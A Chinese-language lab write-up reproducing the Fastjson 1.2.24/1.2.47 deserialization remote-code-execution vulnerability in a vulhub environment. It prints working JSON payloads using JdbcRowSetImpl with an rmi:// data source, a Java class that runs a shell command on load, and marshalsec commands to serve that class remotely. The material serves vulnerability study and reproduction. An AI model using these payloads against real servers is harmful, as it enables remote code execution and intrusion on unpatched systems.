Fastjson 1.2.24、47 反序列化导致任意命令执行漏洞复现
漏洞描述:
fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k。
在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
于1.2.24版本后增加了反序列化黑名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过黑名单检测,成功执行任意命令。
1.2.24影响范围:
fastjson <= 1.2.24
1.2.47影响范围:
fastjson <= 1.2.47
漏洞成因:
fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。详细的原理分析:https://www.freebuf.com/vuls/208339.html
漏洞POC:
1.2.24:
POST / HTTP/1.1
Host: 靶机ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://class文件所在地址:rmi监听端口/TouchFile",
"autoCommit":true
}
}
1.2.47:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://class文件所在地址:rmi监听端口/TouchFile",
"autoCommit":true
}
}
参考文章:
http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/
https://www.cnblogs.com/ssan/p/12844868.html
https://www.freebuf.com/vuls/178012.html
环境搭建:
-
使用vulhub中1.2.24-rce的环境进行搭建,复现1.2.47就用对应的环境(1.2.47搭建过程与24相同,以下就以24为例),浏览器访问服务默认端口8090,即可看到JSON格式的输出
-
接下来就是重点了,生成一个带命令执行代码的类,要求本地安装了java环境(我的版本是jdk1.8);将类文件放到外网上,要求安装Tomcat或Phpstudy(本次实验使用的是phpstudy工具)
先新建一个txt文件,将以下代码写入,保存重命名为TouchFile.java(为什么要命名为TouchFile,就像程序员为什么要写HelloWorld一样)
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
然后cmd进入文件目录,javac编译生成TouchFile.class文件
javac TouchFile.java
接着将类文件放到外网上,将class文件放入phpstudy的WWW目录下,启动phpstudy开启Apache服务,浏览器访问
class文件地址(此处为本地ip)/TouchFile.class
,可成功下载文件 -
接着要借助marshalsec项目,启动RMI服务器,监听9999端口,并制定加载远程类TouchFile.class,要求本地安装了maven,(我的版本是maven-3.6.3)
将项目下载后,cmd进入文件目录,执行命令将项目打包成jar包
mvn clean package -DskipTests
根据上图可知jar包存放在\target目录下,在该目录下cmd进入运行命令开始监听,到此环境就搭建完毕
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://class文件的地址/#TouchFile" 9999
复现过程:
-
访问fastjson页面后抓包,将响应包内容改为POC,发送执行
-
在监听端口查看到已建立连接
-
现在到靶机里查看命令是否执行成功,输入命令进入fastjson环境容器执行 bash
docker exec -it e4538af52892 bash
-
看到success文件就成功执行了命令
漏洞修复:
- 使用已经修复该漏洞的版本